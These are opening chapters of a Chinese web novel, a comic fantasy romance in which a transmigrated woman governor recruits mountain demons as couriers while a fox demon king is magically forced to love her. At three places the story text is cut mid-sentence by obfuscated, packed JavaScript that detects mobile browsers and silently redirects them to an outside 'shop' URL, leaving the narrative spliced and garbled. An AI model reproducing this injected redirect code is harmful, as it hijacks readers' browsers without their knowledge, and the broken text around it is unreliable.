《妖王被迫恋爱脑后帮我搞妖怪就业》 1. 虐恋偿还机制 李昭宁一觉醒来发现自己穿越了。 她被系统安排成蓟州州牧的军师祭酒,任务是协助改善民生。可当天夜里,这位州牧卷着朝廷下拨的抚恤金跑路了。李昭宁被赶鸭子上架,顶替成了州牧。 不上任不知道,一上任吓一跳。蓟州乃大魏边陲之地,背靠著名的妖山杻阳山,妖兽横行霸道,不是抢掠庄稼就是捣毁房屋,甚至传闻有妖兽喝人血、吃人肉。 这里早年是罪臣流放之地。若干年后,因受主家牵连而被流放的人越来越多,才逐渐设立了县乡,成为一州。朝廷也不得不派官治理。 可谁愿意治理这鸟不拉屎的地方?杻阳山动不动就有妖兽下山侵扰,性命都难保,还谈何治理庶民。 在历任世官眼里,谁不跑谁傻逼。 而李昭宁,就成了他们口中的那个“傻逼”。 身为历史迷的李昭宁深谙一个道理:和气生财。人妖虽殊途,若有共同利益,便可和谐共生。俗话说得好:擒贼先擒王。她决定,先找那管事的妖王谈谈看。反正有系统傍身,她理当不会有事。 于是一个月黑风高的夜晚,李昭宁衣着朱红劲装,内藏小铠,甲再藏刀,手腕各戴九串朱砂,腰别桃木剑,手持寻龙尺,带小护卫大虞踏上杻阳山之路。 大虞见她全副武装,不解道:“李州牧,为何要戴九串朱砂?” 李昭宁悠悠回道:“《易经》有云:阳奇阴偶。九是最大的阳数,乃极阳、天数之极。再加上朱砂和符印,我就不信那妖王不现身。” “所以这不是辟邪,是挑衅?” 李昭宁声调极高地“嗯”了一声,边走边道:“黑云罩地,林中幽冥,我这一身红必当引人……妖注目。妖王一旦现身,你只管跑,不用管我。” 大虞仍一头雾水,却还是提灯跟上,心中感叹这位新上任的州牧大人不仅年轻漂亮,更是勇敢机敏。历任州牧对杻阳山皆不闻不问,生怕损己之利。她甫一到任,便果敢上山寻妖。 山路崎岖,荆棘密布。寻龙尺本忽东忽西,没个准向,却在这会直指西北方向。前方山谷中也骤然传出了狰狞可怖的嘶吼,断断续续。 李昭宁心中稍安,看来他们找对地方了,此行不虚:“大虞跟紧了。穿过这片沼泽便是嗥谷了。” 大虞没有回答。 甚至都听不到呼吸声,异常安静。 李昭宁以为大虞吓破了胆说不出话,便出声安慰:“不用担心啊大虞。你不要去假想那些糟糕的事情,心之所向,物之所至。你心越静,所遇之事便会出乎意料的稳定。” 她笑着回头。 山风骤狂,吹得茂盛的树冠东倒西歪,黑云散跑,致月色微明,将她空无一人的背后照得一片惨白,只有树影张牙舞爪,杂草乱颤伏地。 她脑袋还未作出反应,又见一道闪电划破天空,晃得她眼睛发酸,一瞬间视线模糊不清。 “大虞?”李昭宁冲原路高喊,试图拨开不知何时聚拢到一起的灌木丛去寻找。 然这灌木丛好似被下了咒语,拨开又聚拢。李昭宁见状拔剑劈枝,亲自开路,却眼睁睁地看着断了的枝重新长出,如柔软藤蔓般互相纠缠。 不对。 来的时候是荆棘丛,怎么现在变成了灌木丛。 李昭宁本能的害怕紧张,手指下意识蜷缩攥紧朱砂链。 冷静,冷静,发慌只会乱上添乱。 平定内心、自我打气之时,她手中的寻龙尺突然跟抽了疯似的一直转,速度极快,都差点冒了青烟。最后,来自四面八方的山风转了西风,寻龙尺倏的一下定在西北方向,然后如同枯萎的花茎,垂了下去。 一定是妖王! 只有妖力充沛的妖王,才能使寻龙尺尺破身亡。 西北风此时是李昭宁的侧后方,她能感觉自己身后一阵冷冷阴气相逼,妖王说不定就站在她身后。 你说这妖王该是何等相貌,是英姿飒爽还是玉树临风,或者美艳绝色、倾国倾城…… 好像……打气过头了。 她忽见地上多了黑影在闪掠,伴着“咝咝”声音,不知是狂风扫落叶,还是某种妖兽正贴着地面蜿蜒游走。 李昭宁拍拍脸迫使自己清醒,一鼓作气,李百草,就是现在! 她挽袖亮出自己手腕朱砂,手中符印与桃木剑,快速回身想打妖兽个措手不及,却忽感觉脚下一空,失了重心,直直砸在坑里。 她不知掉进哪个妖兽的洞穴里了。 这洞不算很深,也不宽,她坐其中,好似井底之蛙。 “姑娘安否?” 李昭宁忽闻一道清冷的声音在头顶飘飘而来,她闻声抬头,见一广袖袍男子立在洞口,微微探头往里瞧。广袖幽蓝,人生得清绝,眉目如墨裁,气质似天阙之月,江上清风。 一瞧便是位温润守礼的公子,给人满满安全感。 李昭宁寻了个显眼的位置,振臂高呼:“不好不好!公子!公子快请救我上去。” 白衣公子一顿,声音很轻:“荒山野岭,你一女子在此,怕不是狐狸精变的。” “哎呦公子,你见哪个小笨妖掉进同伴的巢穴啊?” 李昭宁叉腰,仰天朗声道。 只听一声极轻的、几不可闻的笑声后,白衣公子开口了:“如此,我信你一回。” 随后他往下扔了一条很粗的绳子,但手感摸起来毛茸茸的。洞里光线暗,李昭宁看不清,再加上逃离之心急切,也顾不上这绳子究竟是什么,逮住就吆喝往上拉。 她爬出洞口,站稳后整了整衣衫,郑重道:“多谢公子。只是这深更半夜,公子为何一人在此?” 白衣公子道:“无缘由。只是游历途中看到此山,心生好奇,便进来探查一番。” 原来如此,李昭宁拱手示礼:“小女李昭宁。敢问公子大名?” 白衣公子侧身而立,月光洒落肩头,更显慵懒模样:“萧蘅。” “你一弱女子,黑夜独行于这深山,在此为何?” 李昭宁嘴比脑子快:“找妖王。” “冒昧问姑娘,寻妖王何事?” “和……”李昭宁刚想实话实说回答“为了和平”,可转念一想,萧蘅只身一人在杻阳山,怕不是别有企图。先不论他是否为妖,万一和她立场对立,来此是为了挑唆人与妖争斗呢?届时知道真相,要杀她灭口呢?她硬生生将“平”字憋了回去,又怕萧蘅起疑,灵光一闪,接道:“和亲。” 萧蘅闻言挑眉,一双凤眸上下扫她一眼:“哦?和亲?” 李昭宁拍拍衣服上的灰尘,点头道:“不错。和亲。” 萧蘅讪笑一声:“自古以来,人妖殊途。姑娘怎会有如此……奇思?” 也不知是不是李昭宁看错了,萧蘅看她的眼神多了一丝玩味和审视。 她一本正经地胡说八道:“我有一好友,听闻妖王容貌甚伟,丰神俊朗,英挺健硕,心生仰慕已久。今不幸身染重病,唯望在离世前亲眼见妖王一面,便可含笑九泉。若能嫁给妖王,怕不是能‘冲喜’痊愈,重获新生。” 她故意吹嘘妖王,是想试探他是否为妖。 萧蘅嘴角微勾,和方才一样的神情,完全瞧不出是生气还是高兴。 “你这朋友,怕不是指代自己?” 李昭宁犹豫一瞬,索性承认:“公子好眼力。我呢就是一将死之人,今上杻阳山只是为在死前目睹一下妖王的神颜。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193948|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果妖王丑恶不堪呢?” “呃……”李昭宁一下子噎住了。这可有点难评…… 李昭宁反问道:“你这样问是因为见过妖王?” 萧蘅低头一笑,回道:“区区凡人怎配得得见妖王。我只知晓妖王的名讳。” “延归。” 话音落,山风又起,夹带着满地落叶,一同扑向李昭宁身边,像极了响应某种号召。 她顿了一下,脑海重复萧蘅方才说的话,抓到了关键词,再问:“配?你为何用配这个词?” 怕不是妖王手下? 萧蘅把玩手中的落叶,不慌不忙道:“我与你一样……” “你也仰慕妖王已久?”李昭宁惊得眼睛瞪如铜铃,声调一下子拔高。 萧蘅:…… “我是为了一味药前来拜见妖王,”兴许是怕李昭宁再度追问,他又补充道:“是私事。” 李昭宁拍拍受惊的小心脏,点头说好:“不管怎样咱俩也算是一条绳上的蚂蚱。不求有福同享,有难一定必当啊。” 萧蘅瞧李昭宁转身,心中不忍翻了个白眼。本来还对她抱有好奇,区区一女子竟能躲过山路陷阱,安然无恙穿过他亲自布下的杻阳山结界,还以为她是什么深藏不露的道士仙人,现在瞧来,不过是个傻里傻气、缺心眼、碰运气进来的女子。 既然愚昧无知,便别怪他不客气了。 毕竟,是她自己闯进来的。 萧蘅冷冷一笑,发冠两侧倏然露出一双雪白的狐耳,尖尖獠牙微现,如伴寒光。抬手时,掌心赫然出现一团血红的妖火,便向李昭宁后背拍去。 突然,一道无形白光自李昭宁身上乍现! 萧蘅被某种巨力反弹,直直向后滑退数步,在大地上留下两道深痕。他只觉心脏骤然狂跳,“李昭宁”三字与她的样貌仿佛深深刻在了他的脑海里,一股陌生而炽热的悸动由下往上迸发,冲得他浑身发麻。 【系统提示:特定条件满足,强制触发虐恋偿还机制……】 【规则阐述:自即日起,目标A所承受的一切外部伤害,将作为唯一情感能源,定量转化为目标B对A的“爱”。伤害计量与爱意输出呈正相关。】 【叮!虐恋偿还机制绑定成功,不可解除。】 李昭宁不知道发生了什么,只听系统莫名其妙的提示音响起。什么条件达成?虐恋偿还机制又是什么?她还有一句话没有听清,只听见叮的一声,绑定成功。 她二丈摸不着头脑,又听背后一声闷哼,回头便看见萧蘅撞在不远处树上,捂住胸口单膝跪在地上。 “出什么事了?”她跑上前查看,见萧蘅一脸痛苦,似受伤之状,以为妖王现身,马上拔剑四顾,激将道:“有胆伤人没胆现身吗?看来区区妖王不过如此。” 林中无应答,李昭宁反手将剑插在地上,蹲下问萧蘅伤势。 “咦?你脸怎么红了?” 只见萧蘅紧皱眉头,脸颊微红,紧紧盯住她。眼神不同方才,竟有些迷离。 “还能站起来吗? 李昭宁欲起身扶萧蘅,却被他一把拉住手腕,轻用力,她不慎倒在他的怀里。然后,他皱着眉头,靠近又后退,似有一股力量在前后拉扯他。 李昭宁误以为妖王俯身,拿起符印“啪”一下贴在他的脑门上,紧接着双手结印,念起咒语:“妖魔鬼怪快离开,妖魔鬼怪快离开……” 然下一秒,萧蘅翻身将她压下,大手扼住她两手手腕,抵在树干,一手慢慢捧起她的脸。 然后,李昭宁感觉自己脸上有冰冰凉凉落下。 是一个吻。很轻很轻的吻。 “倘若,我就是你仰慕已久的妖王呢?” 2. 见面礼是kiss? “你说你是妖王?” 李昭宁愣神之际,被萧蘅一掌推开,一屁股摔坐在地。她吃痛,抬头时,见萧蘅眼神已恢复初见时的温淡,但他似乎很累,唇色发白,喘着粗气,似在极力压抑着什么。 萧蘅一手撑着额角,另一手仍僵在半空,维持着推开的姿势,从牙缝里挤出一句:“姑娘,适才相戏耳。” 她下意识摸了摸被他亲过的脸,心头一团麻:“你这玩笑开得好无厘头啊。” 说罢,她自己撑着剑柄起身,拍拍衣上尘土落叶,心中疑窦丛生,方才他那副样子绝非是开玩笑的状态,还有系统莫名其妙的提示,究竟是怎么回事? 萧蘅见她低头,立刻掐诀画阵,压制那股莫名的在他体内横冲直撞的力量。 一瞬,狐耳再露,一双丹凤眼发出幽幽蓝光。 他盯着李昭宁,想再尝试杀她却又怕再遭反噬,只能暂且放弃。此女绝非误入结界那么简单,必是仙道中人。可方才护住她那股力量,浑厚诡异,竟无法探出来历。 在查明她底细前,绝不能暴露身份,打草惊蛇。 当李昭宁再次抬头时,萧蘅已然变回了那个温润如玉的公子。 他也随之起身,双手微拱,欠身一礼,语气诚恳道:“姑娘,方才实属唐突,在下郑重致歉。” 她刚要开口,忽被他微微颤动的狐耳吸引注意:“你是小狐妖?” 萧蘅身形微顿,狐耳跟着动了两下。李昭宁头一回见到活生生的妖耳,两眼发亮,用手指试探地点了下耳尖:“是真的哎。” 萧蘅见她一脸呆傻模样,暗自松了一口气。 然而她下一秒便正神色,一手叉腰,一手握剑柄,厉声道:“别想装可爱蒙混过关。说!刚才为什么亲我,又为什么退出这么远?” 说罢,她持剑指向二人方才站的位置,又一个内挽花,指向二人之间的空地。 李昭宁提剑,剑身轻按在他的肩头:“既然是妖,为何骗我是游历的公子?莫非是想偷袭我,反而弄巧成拙?” 萧蘅立刻拉耷下狐耳,眼尾微垂,做出一副可怜楚楚又委屈巴巴的模样:“实话实说吧姑娘,我是刚化人形的小狐妖,因为长相太过俊俏,风头压过了妖王,被他赶了出来。我不服,想找妖王再比个高下,却被他结界所阻,困在此地徘徊,这才遇见了你。” 李昭宁:? 因为长得比妖王俊俏就被赶了出来? 草而率哉。 她脑海中不由自主地浮现一个魁梧狰狞的妖王,正对着铜镜扭捏作态,道:“铜镜铜镜谁是世界上最漂亮的小妖……” 也不对,这是古代,应该是“铜镜铜镜,吾与狐妖熟美?” 萧蘅说话时,一直留意李昭宁的眼神,见她目光游移不语,似乎在消化这个离谱的故事,深觉此女心思单纯,容易糊弄,便又亮出一条狐狸尾巴轻轻蹭了蹭她的小腿肚子,道:“方才我是因为靠近了妖王的结界才失控,绝非对姑娘图谋不轨。” 李昭宁在他狐狸尾巴出来那一刻就被吸引了全部目光,眼睛一眨不眨盯着,好想摸了一把…… 不对,自古以来狐狸最善蛊惑人心。 她“嗖”的一声收回将要触摸狐狸尾巴的手,清了清嗓,故作严肃:“那亲我呢?” 只见萧蘅一愣,方才略显得意的神色一下子僵住。 “难道是得知我对妖王仰慕已久,你不服气?” 萧蘅嘴角微抽,拱手欠身道:“姑娘明鉴,正是如此。但也……另有一部分私心。” “杀心?” “是动心。”这话萧蘅可没有说谎,他偷袭李昭宁却被一股神秘力量攻击,那一刻浑身上下每一寸骨血无不都在叫嚣“喜欢李昭宁,想将她占为己有”几个大字。 他还听见了什么虐恋偿还机制。 偿还?绝非好词。 刚才那极为窘迫的场面,他可不想冒险再来一遍。 回神后,他眸光潋滟,似含春水,声音也放得柔软许多:“我们狐妖的第一吻,从来都只献给喜爱之人,命定之人。” 李昭宁:? 感觉下一秒要被表白了。 他趁势上前半步,恭恭敬敬道:“杻阳山已容不下我,烦劳姑娘带我下山。我愿立誓,必定效犬马之力辅佐姑娘。” 李昭宁没回答。 萧蘅自嘲一笑,忽地二指并起,轻轻抵住李昭宁按在他肩头的剑身,非但不退,反而引着剑刃缓缓移向自己的脖颈,仰起头,露出白皙修长的脖子:“姑娘若怀疑我,我……唯有一死以明志。” “我不杀生。”李昭宁本意只是想吓唬吓唬他,并无杀心,见状也便收剑。 “哦?”萧蘅仿佛听到齐天大稽,挑眉道:“你不是捉妖师?” “当然不是。”李昭宁答得飞快,没有听出他是试探之意,只道:“我只是个和平大使。” 萧蘅头一次听闻此词,以为是新兴的人间捉妖组织,但“和平”一词,又着实不像…… “我上来只是为了和妖王商量和平共处,我们平等互惠,不互相残杀。”李昭宁目光真挚,又透露着一股似天东之日、夜空繁星般明媚耀眼的光。 萧蘅顿住。 头一次听人……不,听任何生灵,在他面前说这等天真的言辞。 果真是个傻姑娘。 山风较方才轻柔了几许,黑云也渐消薄,泱泱月华倾泻而下,穿过盘横交错的枝叶,笼罩在二人身上。 好景不长,林间忽有灰白色的浓雾翻涌而出,不知是妖气还是山瘴,弥漫速度极快,转眼便吞噬了周遭大树,颇有遮天蔽日之威。 李昭宁暗道不好,起了山雾,下山更难。她当即决定先返回寻找大虞,她有没有事无所谓,大虞绝不能有事。 “既然如此,你跟我走吧。我们先去找走散的同伴。”她转身欲走。 “不见你心心念念的妖王大人了?”萧蘅的声音从背后传来,带有一丝难以捉摸的讥诮。 “爱哪有生命重要。”李昭宁仰慕妖王那些话本就是胡编乱造,信口胡诌,这会更是不从脑子过话。 只是她没看见,身后萧蘅的面色一下子阴沉,呵,人类,果然最虚伪薄情。 早晚有一天杀光…… “你帮我找找大虞呗,”李昭宁的声音打断他的思绪,她一边比划一边描述,“挺壮实一小伙子,方圆脸,背着个藤编药箱......” 萧蘅还用听么?自他们两个人踏进杻阳山那一刻,他便一清二楚。甚至还嗅出李昭宁身上有着不属于这个世界的气息。走散也是他的手笔,是他设下的迷阵。 他无所谓地耸耸肩,却在李昭宁看过来那一刻瞬间切换成笑颜盈盈:“好的,姑娘。” 他抬手,刚欲打个响指破解迷阵,忽感到数道妖气正从四面八方朝此地急速汇聚。 他回头望去。妖的五感本就敏锐,此刻他看得清楚,几个忠心耿耿却不太聪明的小妖正咋咋呼呼冲来。 “大王!我们来救你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“萧蘅你愣着干嘛!”她百忙中瞥见他竟退到战圈之外,气得高喊,“快告诉他们收手啊!不是要跟我下山吗?” 萧蘅抱臂冷眼旁观,闻言却故作惊慌,声音都带了颤:“姑娘,他们……他们是妖王麾下精锐,结界凶险,我……我不敢靠近呐。” 李昭宁翻身一跃,刚躲开小青鸟的偷袭,头顶忽有阴影笼罩——那小黑熊竟人立而起,巨掌带风,当头拍下! 不好!这一击势大力沉,已避无可避! 她下意识闭上眼睛,却感觉眼前并非黑暗,而是炸开一片炽白光晕。 随即腰间一紧,整个人被一股大力揽过,跌进一个的温暖怀抱。 再次睁眼,正对上萧蘅近在咫尺的那双丹凤眼。眸中雾气迷离,波光潋滟,竟与方才亲吻她时恍惚的神色……有几分相似。 他缓缓低头,鼻尖几乎相触,却又猛地咬紧牙关,硬生生将脸偏开,从齿缝里挤出声音:“姑娘,你……没事吧?” “大王!你方才怎么‘嗖’一下就冲过去了?!” “大王???” 几只小妖收势不及撞在一处,目瞪口呆地看着“英勇救敌、英雄救美”的萧蘅,脑子彻底转不过弯来。 李昭宁浑身一僵,缓缓从萧蘅怀中退出半步,目光在他和那群小妖之间逡巡,最后定格在他强作镇定的脸上。 此刻她耳鸣难忍:“他们叫你什么?” 3. 你是快递员 你是天气预报员 赤蠕跳上黑熊怪圆滚滚的脑袋,两只小软爪叉腰,叫道:“愚蠢的人类!当然是……” “姑娘,你没事吧?我方才见妖王现身袭击你了。” 萧蘅一步窜到她面前,犹抱广袖半遮面假作抹泪,挺拔的身躯将她视线挡得严严实实。紧接着,李昭宁便听到身后传来“扑通扑通”几声闷响,像是有什么重物跪倒在地。她好奇地想探头去看,萧蘅却微微侧身,挡得更死了。 “还好我提前感知到妖王气息前来相救,不然姑娘你可就……” 李昭宁低头查看,发现自身并无伤势,半信半疑地看了他一眼,一手捂住还在嗡鸣的耳朵,另一手挥剑让萧蘅退开些:“你们刚才叫谁妖王?” 三小只不知怎回事都跪在地上,似被什么东西吓得魂飞魄散。尤其是赤蠕,嘴明明张着,却像被无形的手扼住了喉咙,发不出任何声音。 她回头看了一眼萧蘅。 萧蘅狐狸耳朵耷拉着,嘴角下弯,一脸受了天大委屈的模样:“姑娘,你可要为我做主啊!他们之前可没少欺负我。” 李昭宁看看目测一米九大个子的萧蘅,又低头瞧瞧都没他腿长的三只小妖们:??? “你确定不是你欺负它们仨?” “啾——!”她刚想回头,却见三小只瞪着圆溜溜的眼睛,目光惊恐地看向她身后。 她感觉山风又起了,背后传来阵阵透骨的凉气。同一时间,三小只脸色骤然煞白。 她再回头。 萧蘅还是那副可怜巴巴的模样。 李昭宁歪歪脑袋,刚才萧蘅突然冲过来确实救了她,但她耳朵莫名其妙地发鸣,有些话都听不真切。 黑熊怪眼珠子骨碌碌转了几圈,率先“镇定”下来,粗声粗气道:“是……是妖王大人派我们来逮捕入侵者的!” 小青鸟极其配合地高举翅膀,望向远处空谷,声情并茂地高喊:“大王——您别丢下我们啊!” 李昭宁跟着望过去:“果真是妖王偷袭。” “看来这妖王不过如此,净会耍些阴招。” 三小只同时倒吸一口凉气。 萧蘅捧哏:“就是,丑陋又愚蠢的妖王。” 三小只:??? “姑娘,山雾愈浓,我们先行下山吧。” “它们怎么办?” 李昭宁打量三小只。赤蠕圆滚滚、软乎乎的样子……好可爱,忍不住摸了一把。赤蠕马上假装撒娇,打算趁她不注意咬上一口,哪知刚露出獠牙,萧蘅“嗖”地一声冲了过来,一把握紧了她的手。 李昭宁:? 三小只:? 萧蘅:?…… “你不会要说,你们狐妖第一次牵手,也要给心爱之人、命定之人吧?” 果真狐妖,无时无刻不在散发魅力。 萧蘅眯着眼笑,嘴角弧度却有些僵硬,似在咬牙:“姑娘,它们几个可是妖王的手下,我是怕它们对你不利。你可莫要被它们表象迷惑了。” 三小只相视一眼。黑熊怪便开始跟着演,笨拙地跳脚,装作害怕,却又强装凶狠板着脸:“你、你们还不束手就擒!” 李昭宁手持桃木剑,轻轻摁在黑熊脑袋上,它即刻噤声,一双圆溜溜的眼睛瞄她一眼,又迅速垂下头,恨不得找个地缝钻进去。她觉得可爱极了,于是又拿起符印吓唬赤蠕和小青鸟。顿时听取“啾啾”“噗噜”声一片。 然后三小只一个作势要往地里钻,一个扑棱着翅膀要往天上飞,一个扭着身子要往水里溜。 哎? 一个地上跑,一个天上飞,一个水里游。 她灵光一现:“你们跟着妖王,一定很吃苦吧?要不跟我下山,我保你们吃住,你们来帮我们送快递吧。” “快递?”三小只异口同声,满脑袋问号。 萧蘅也是。 “对啊,快递。” 她心想道:蓟州地形复杂,北有妖山杻阳山,西有峻岭浮玉山,盛产玉石金石;中部为冲积平原,河网密布,土壤肥沃,农作物丰饶;东部靠海,渔产兴旺。各处资源丰富,林业渔业农业一应俱全,按理说蓟州发展不该如此缓慢,可就是因为人力物力太少了。 东部到中部要过湍急大河,没船;中部到西部要穿林越山,物资运输更为艰难,所以各郡县都是各发展各的。 如果换做有特殊能力的小妖来运输……效果岂非事半功倍? 于是李昭宁把“快递”的含义解释给它们听,又举了几个例子:“我不会亏待你们,会给你们工资报酬的。” “什么是工资报酬?” “就是俸禄。你们想要什么,想吃什么,可以和我说,我尽量满足。” 小青鸟扑棱翅膀:“真的?我想吃你们人类种的那个黄黄的……” 她秒答:“麦子。” “我想看花,漂亮的粉花,睡在上面一定很舒服。”李昭宁话音刚落,小赤蠕就急着甩尾。 “你说的应该是荷花。” 小黑熊说:“我想吃红红的,咬起来很脆的果子。” “苹果。” “好!那我就宣布,你们是蓟州第一批妖界快递员!只是......你能带着很重的东西飞过浮玉山吗?你能扛着很重的东西穿行数百里吗?你能拖着很重的东西游过大河吗?” “小瞧我们!” 小青鸟忽地一声清啼,身形暴涨,羽翼舒展,化作一只神骏的玄青巨鸟。赤蠕也是红光一闪,身形拉长,竟化作一条鳞片熠熠的美人鱼。虽然只有短短几秒。 黑熊还是原样,只不过人立而起,捶打胸膛,显得又高又壮。 “哇哦,不错!你们都叫什么名字?” “啾!浮雀。” “噗!阿蛟。” “嗷吼!玄武。” “好!我叫李昭宁,小字蓁蓁。” “蓁蓁?” “桃之夭夭,其叶蓁蓁。就是草木茂盛、生机勃勃的意思。” “是!你是我见过最有生机的人类!”赤蠕阿蛟又抢着回答。 青鸟浮雀和黑熊玄武也不甘示弱,一个劲夸李昭宁,把她夸得都有些飘飘然,脸颊微红,连连摆手。 萧蘅看着三妖一人和谐且离谱的画面,不知该笑还是该哭。 三只蠢妖,竟比他这妖王还能获取李昭宁的信任。话说这丫头嘴里蹦出的话,他半数都听不懂。而且她收买妖心这一块可真是炉火纯青。 总之,他绝不能让李昭宁在此地久留,她的人类气息会引来更多小妖,届时再闹上几出,他怕不是要在百妖面前把脸面丢尽了。 更麻烦的是,他不知道这个所谓的“虐恋偿还机制”究竟该如何破解。他还隐约感到李昭宁不知道此事。 只要李昭宁遇险,那种莫名的悸动就会在他身上加剧。他会不顾一切冲到她面前保护她,甚至……还想抱她,亲她。 他强压心中那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193950|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股无名躁动,敏锐的妖识却捕捉到山林水汽正反常凝聚,其中还夹杂着一丝极淡的、不属于此地妖物的陌生气息。这令他更加烦闷。 “要下雨了,姑娘,快些下山吧。” “下雨?”李昭宁抬头望天,空无一云。 萧蘅腹诽:傻姑娘,我活了千年,闻雨气比你看天色准多了。 李昭宁忽眼睛一亮,打个响指蹦到他面前:“那你来当我们的‘天气预报员’,好不好?” ? “就是提前预测天气告诉农民伯伯,好保全收成,总之用处大着呢。” 她又道:“如此甚好。我上山本为见妖王,求人与妖和平共处。既然妖王迟迟不现,此事暂且搁置……你们几个,意下如何?” 三小只齐刷刷看向萧蘅。 萧蘅瞪一眼,立刻装作害怕,紧紧挽住李昭宁胳膊,声音发颤:“姑娘,它们……它们用眼神威胁我!” ??? 玄武道:“有吃的就行!我们之前去跟人类借吃的,他们都拿棍子打我们。” 李昭宁一愣:“是不是你们借的方式不对?” “总之。你们之前用错方法了,现在我们讲和平,平等互惠。” 萧蘅抱臂,好整以暇看着她:“这事不和妖王大人商量吗,还是说你就不带他们干了?” “不是不干,”她神色一正,像是进入了某种州牧陈词的状态,“而是缓干、细干、优干,有计划地干。让有准备的妖先干,先干带动后干。也要具体分析具体干,不是盲目干,而是精准干、科学干、高效干,有策略地干,让懂规划的妖参与干,兼顾不同天赋灵活干。” 萧蘅:...... 三小只:大师!受我们一拜! 下山路上,玄武四爪着地跟在最后,浮雀和阿蛟各踞其背,皆叽叽喳喳个不停。 “以前去借粮,看见人类小孩看画本,上面画的西楚霸王好生魁梧!我也想……化成那样。” “是绘版《史记》吗?你们还识字?” 三小只齐齐摇头:“是听几个小孩耍木枪时喊的!” “那我办个教化书院如何?请人类当老师,你们来学,算是……职业学院。毕业就工作!” 三小只虽然听不懂,却齐齐喊着好。 李昭宁心中雀跃:看来我当州牧、治理地方,很有天赋嘛! 萧蘅适时泼来一盆冷水:“姑娘,你有钱请先生、办书院么?” 李昭宁倏然顿住。是啊,前州牧卷款跑了,府库空虚。且蓟州东、中、西三部发展割裂,交通闭塞。就算有了妖界快递,若各郡县仍固步自封,又有何用?西部靠邻州,靠金石玉石贸易,尚算富庶。或许可先从西部富商入手,引资招商,打通商路…… 正当她沉浸于“蓟州崛起蓝图”时,前方雾中,赫然出现了大虞的身影。 “大虞!”她激动难抑,撒腿便奔了过去,迫不及待把这个好消息告诉他。 大虞闻声回头,也向她跑来,只是动作略显僵硬,步伐整齐得有些诡异。 身后,阿蛟忽然耸动鼻尖,疑惑道:“咦……怎么有股幻兽味儿?” 李昭宁没多想,继续前冲。 “李昭宁——”大虞头一回连名带姓喊她。 好生别扭。 谁知下一秒,大虞猛地从背后藤箱中抽出斧头,眼神空洞,手臂高扬,带着破风之声,朝她直劈而下! ? 4. 和气生财 “喂!” 李昭宁察觉不对,迅速低下身,前胸几乎要贴上大腿。巧在此处土质松垮如流沙,脚一踩便发滑,她也便顺着力滑到一侧安全范围内。 她持剑扎地,一个踉跄稳住后,只见大虞眼目浑浊,眼角和背后隐有幽幽紫光散向周身,以惯力狠狠劈向其前方的大石头。 她眼睁睁地看着一坨怪状的大石头顷刻间如烟花般炸开,星星点点迸向四周,锋利雪亮的斧刃直直插入大地,不禁汗毛直立,寒战连连。 她咽咽口水,不可置信道:“大虞?” 然大虞未应,猛地转过头,如猎鹰之眼般的双眸紧紧锁住她,胳膊一提丝毫不费力地拔出石斧,向她再次劈来。 她大感不妙,撒开腿欲跑,同一时间,露着狐狸耳朵和七条尾巴的萧蘅闪到她面前,手中持一白扇。 这扇绸面白净如昆仑山巅之雪,通身更晶莹剔透如江源白玉,挥去间,满是清风、自然生气。 萧蘅侧身而立,轻轻勾唇,不紧不慢展开雪绸白玉扇,倒悬在手,只听他说一句:“巽风。” 这雪绸白玉扇便生出无数白烟攻向大虞,将其紧紧包围。 他微微侧头看她,声音比先前低了几度:“你的朋友被幻兽俯身了。” “幻兽?” “不错。杻阳山北部有一寒阴虚境里面幻兽无数,专门俯身吸气以滋自身幻气。” “气?” “绝大多数是妖的元气和人的生气。说来奇怪,我已经有两百多年没有嗅到幻兽的气息了。”萧蘅惑道,这也正是他方才没有第一时间感知幻兽来此并俯身大虞的原因。 “幻兽早在几万年前也是妖族的一类,它们天生幻力。幻术弱者可迷惑、操纵对方意识;强者则俯身甚至变幻成对方的样子,直到完全取代。其首领尧光的幻力甚至可以与白玉京神仙媲美。也正因此,幻兽一族越无法无天,蔑视天规、自然道法,肆意屠杀噬吸生灵,惹得四海八荒鸡犬不宁。” 萧蘅不紧不慢继续说道:“鹿野一战,尧光及大部分幻兽被百里道人封印,只有少数躲过一劫,不知去向。想来今日现世,怕是闻到了人气。” “人气纯净,不掺杂任何异气,是它们最爱吃的。” 李昭宁听了他的科普,看到大虞不断扬斧劈向萦绕在周身的白烟,开口道:“好烟,是可以净化附在他身上的幻兽对吗?” “正是。但此烟非烟,是气风。上九所驭之风主净化。但也可以杀生于无形中。” 原来这扇名为上九。 然当她再次抬头,见缕缕紫烟似无形之手扼住白气。大虞消失不见了。 浮雀仰天清啼,变为玄青巨鸟,张开双翅猛然升空,似有遨于九天,破云吞日之姿。下一秒后飞快俯冲,风呼啸,尽听穿林打叶声。 阿蛟扭着尾巴钻进地缝,瞬间地水撕裂大地,奔涌高涨而出,似成一道顶天立地的水墙,和浮雀两面夹击断开了大虞可能逃跑的路线。 玄武人立而起,捶胸咆哮,声如洪雷,在北扬爪急速奔来。 